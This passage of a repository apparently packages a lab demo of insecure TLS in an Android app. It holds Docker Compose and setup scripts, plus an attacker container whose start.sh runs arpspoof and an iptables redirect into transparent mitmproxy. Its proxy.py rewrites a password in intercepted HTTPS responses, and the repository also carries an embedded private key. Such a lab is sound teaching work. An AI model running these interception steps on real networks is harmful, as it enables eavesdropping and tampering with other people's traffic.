37 | container_name: emulator_jwt_signer
38 | networks:
39 | envoymesh:
40 | aliases:
41 | - jwt_signer
42 | expose:
43 | - "8080"
44 |
45 | nginx:
46 | image: emulator_nginx:latest
47 | container_name: emulator_nginx
48 | networks:
49 | envoymesh:
50 | aliases:
51 | - nginx
52 | expose:
53 | - "80"
54 |
55 | server:
56 | image: nginx:latest
57 | container_name: emulator_backend
58 | networks:
59 | envoymesh:
60 | aliases:
61 | - www.mitmtest.com
62 | expose:
63 | - "80"
64 | - "443"
65 | volumes:
66 | - ./backend/nginx-backend.conf:/etc/nginx/nginx.conf
67 | - ./backend/nginx-certs:/etc/nginx-certs
68 | - ./backend/server-files:/var/www/html
69 |
70 | eve:
71 | privileged: true
72 | build: eve
73 | container_name: emulator_eve
74 | volumes:
75 | - ./eve/eve_files:/eve_files
76 | sysctls:
77 | - net.ipv4.ip_forward=1
78 | - net.ipv6.conf.all.forwarding=1
79 | - net.ipv4.conf.all.send_redirects=0
80 | networks:
81 | envoymesh:
82 | aliases:
83 | - eve
84 |
85 | networks:
86 | envoymesh: {}
87 |
88 | secrets:
89 | adbkey:
90 | file: ~/.android/adbkey
91 |
--------------------------------------------------------------------------------
/eve/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu
2 |
3 | ENV TZ=Europe/Rome
4 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone
5 |
6 | RUN apt-get update && apt-get install -y iptables tcpdump dsniff iproute2 python3 python3-pip tmux dnsutils
7 | RUN pip3 install scapy mitmproxy
8 |
9 | CMD exec /bin/bash -c "trap : TERM INT; sleep infinity & wait"
10 |
--------------------------------------------------------------------------------
/eve/eve_files/fake-cert.pem:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEAyOEnxjt6ejX1BiU4n2/WDgjhP4vUBhv0GZ/yOtAk4sWC+EFW
3 | UGuB2ASA2ibhDYyGA27Ol1p/k+XGyQ1VFqNrQtuJYEtSRs8GqdscC4b6+I/PqBtE
4 | dn4VRNVY33ztmiQHszGXMgPPenIcgTRdMcZOPcZrtc9rzf1IPY+PU5OP7vhOwlpk
5 | 6dJhU3Rbvtjxo//vi1jLO3hn6TOTzxO0zSa3d1UOb4ey+Es3HjN0LUKoSJ/yUR5y
6 | T7OcG7yCBir+Ku0Gxx4ppwdxw3DzpHbZCIub/r6y05BFdEqtHHK7YXL3IjE/pXIR
7 | hS1sVpF5kw+NGOW3Jdt+WMW2WY/E4YhykX8QAwIDAQABAoIBAEenULm8I58OOh18
8 | D2uHx/HvpvE03mdjdzngvNXPwyiEzYfiPninMISuboviTGq50l/NGbIRXOqTjsnO
9 | kKhnmG4bwy/vDiUl2bmi56kQ99rL6YWMXGpr5QhNlcr6VAKkkX6Q1N7JTyvdIl/Q
10 | HuIPW39blLYgi9LJYwhaegSU4UWa+SycpbRXS8VO9NuLoUCyGxzSw9H82WBj80qF
11 | rd5kQznbY+MlZ1MSbbpvKNy2O0BuzAHfjZ6Zq5Njuzxvm3jyc7espkzzhJGk1WjT
12 | SVkRIvKCTR0Q8gPgoeVkCnzYedvJ3xgIbL2WUQN5a0xAw4fxP/XvHYjC1BqFv0Jj
13 | f+pEVMECgYEA4/Y1tqMIel1qvh0Oc8+M6Md4Y4c6oSyo1SJYfbj3GWDYhyNzBBTQ
14 | uudyqzAMzocq83wfOw+O2+V/OJ9vPbFelQzsRoHVj6c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R1EJlOXdpZ8u3jT0V6pAdIhyWVU2H2JC
48 | VOxluVNrWKUtl1TPyxatXb7vfCU=
49 | -----END CERTIFICATE-----
50 | -----BEGIN CERTIFICATE-----
51 | MIIDfTCCAmWgAwIBAgIUHv31mWPY2IOZJVcUW/IcICgVPlgwDQYJKoZIhvcNAQEL
52 | BQAwTjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExEjAQBgNVBAcM
53 | CVRoZSBDbG91ZDEWMBQGA1UECgwNTXkgQ29tcGFueSBDQTAeFw0yMjAxMTExMzU3
54 | MzdaFw0yMzAxMTExMzU3MzdaME4xCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxp
55 | Zm9ybmlhMRIwEAYDVQQHDAlUaGUgQ2xvdWQxFjAUBgNVBAoMDU15IENvbXBhbnkg
56 | Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDskR848oIAlhOtq9CJ
57 | EFim/wX41ZMQWi7gvl9QD9Z2FGoImcGCKTPtbJYqJcQOrUSU38oRqAf73C9EJHaR
58 | YFS6YWsGiRwykftE0GdImr1wInlnOkc6wu7XvGKvjn8XY+OaMfIMgJWUjemJlX8b
59 | AfbxbjlJSJgDsNAFvjwzvqbryE102qqCRvF2+MHuc077NaJt6x9y7YAjx4eT26vv
60 | modSnHKekLY4uTumNP4yLGK/pUviqKGY5A9ufoHtMIJe9NGw3/OOXYrGbpol90G0
61 | mzlgIDeCev3dRmAct2sIzUsLmuhPIWuQ1GpO900bYSBz7YKlL7tvZmAQqXC3tc57
62 | ZD0ZAgMBAAGjUzBRMB0GA1UdDgQWBBR1+LLWgyUpcYm6iWdydsvDtaVjuTAfBgNV
63 | HSMEGDAWgBR1+LLWgyUpcYm6iWdydsvDtaVjuTAPBgNVHRMBAf8EBTADAQH/MA0G
64 | CSqGSIb3DQEBCwUAA4IBAQB3TDAPOCEDeN5swRixDvi5rgVcWFS5sOaELp7++SUW
65 | ah7sflJLBQF8D7jSRukoc12267lbdQkRvVKrX8uVBjdAewdmpv6u6fS6qA1KwOFe
66 | AMlM76xpFIH1uEpVfEw/VV284L9mvKoCccJ61b1shFtixdwfhurSDrcZG5jGZzZm
67 | 3PK5YdUgkzVah2hGy9tYsi7tvSPh2sV7qMD5Ww3Bk2sJH3aaST9iHbpWYgGy/e88
68 | VOT2Hsn1p5qDHM+COHnmmoLTlr5Ia2OaWRadm6LvzaRf6saD227VMSlRKAUIvjG7
69 | Vn68us4azQyXpzCEWIUuRxnTR0Td7sSBF3OYHUQ2C4EL
70 | -----END CERTIFICATE-----
71 |
--------------------------------------------------------------------------------
/eve/eve_files/proxy.py:
--------------------------------------------------------------------------------
1 | from mitmproxy import http, ctx
2 | import re
3 |
4 |
5 | pattern = re.compile(r'(The password is )"([^"]*)"')
6 | new_password = "modified-by-eve"
7 |
8 |
9 | def response(flow: http.HTTPFlow) -> None:
10 | original_content = flow.response.content.decode()
11 | m = pattern.search(original_content)
12 | if m:
13 | original_password = m.group(2)
14 | flow.response.content = pattern.sub(fr'\1"{new_password}"', original_content).encode()
15 | ctx.log.info(f"Replaced password {original_password} with {new_password}")
16 |
17 |
--------------------------------------------------------------------------------
/eve/eve_files/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | SERVER=$(getent hosts www.mitmtest.com | awk '{ print $1 }')
4 | echo "Server is on $SERVER"
5 | EMULATOR=$(getent hosts emulator | awk '{ print $1 }')
6 | echo "Emulator is on $EMULATOR"
7 |
8 | echo "Starting arpspoof"
9 | (&>/dev/null arpspoof -t $SERVER $EMULATOR &)
10 | (&>/dev/null arpspoof -t $EMULATOR $SERVER &)
11 |
12 | echo "Setting iptables rule"
13 | iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
14 |
15 | if [ "$1" == "--custom-ca" ]; then
16 | echo "Starting mitmproxy with a certificate issued by the custom CA"
17 | mitmproxy -m transparent -s proxy.py --ssl-insecure --certs www.mitmtest.com=fake-cert.pem
18 | else
19 | echo "Starting mitmproxy with a self-signed certificate"
20 | mitmproxy -m transparent -s proxy.py --ssl-insecure
21 | fi
22 |
23 | echo "Cleaning up"
24 | kill -s SIGINT $(pidof arpspoof)
25 | iptables -t nat -D PREROUTING 1
26 |
--------------------------------------------------------------------------------
/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -e
4 |
5 | progress(){
6 | GREEN="\033[0;32m"
7 | NC="\033[0m" # No Color
8 |
9 | printf "\033[0;32m[x] $@\033[0m\n"
10 | }
11 |
12 | if lsof -Pi :5555 -sTCP:LISTEN -t >/dev/null; then
13 | echo "There is already an emulator running! Please stop it before running this demo"
14 | exit 1
15 | fi
16 |
17 | progress "Launching containers"
18 | docker-compose -f docker-compose.yaml up -d
19 | trap "progress \"Shutting down containers\" && docker-compose -f $(pwd)/docker-compose.yaml down" EXIT
20 |
21 | progress "Building demo app"
22 | cd app
23 | ./gradlew assembleDebug
24 |
25 | progress "Waiting for emulator boot to be finished"
26 | adb wait-for-device shell 'while [[ -z $(getprop sys.boot_completed) ]]; do sleep 1; done;'
27 |
28 | progress "Launching app on emulator"
29 | adb install -r app/build/outputs/apk/debug/app-debug.apk
30 | adb shell am start -n "com.example.insecuretls/com.example.insecuretls.WebviewActivity" -a android.intent.action.MAIN -c android.intent.category.LAUNCHER
31 |
32 | progress "App launched successfully! Opening https://localhost in your web browser. Login credentials are 'user' and 'pass'"
33 | python3 -m webbrowser https://localhost
34 |
35 | progress "Entering attacker shell. Note that exiting it will shut down the containers"
36 | docker exec -it -w /eve_files emulator_eve /bin/bash
37 |
38 |
--------------------------------------------------------------------------------
/setup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -e
4 |
5 | progress(){
6 | GREEN="\033[0;32m"
7 | NC="\033[0m" # No Color
8 |
9 | printf "\033[0;32m[x] $@\033[0m\n"
10 | }
11 |
12 | progress "Getting the Android emulator container repo"
13 | if [ -d "android-emulator-container-scripts" ]; then
14 | echo "Repo already checked out";
15 | else
16 | git clone https://github.com/google/android-emulator-container-scripts.git;
17 | fi
18 | cd android-emulator-container-scripts
19 | git fetch --all
20 | git checkout 0d5f55c
21 |
22 | progress "Setting up emulator image"
23 | . ./configure.sh
24 | emu-docker create canary "S google_apis x86_64"
25 |
26 | progress "Setting up web frontend"
27 | ./create_web_container.sh -p user,pass -a
28 |
29 | progress "Done. Use the run.sh script to launch the demo"
30 | deactivate
31 | cd ..
32 |
--------------------------------------------------------------------------------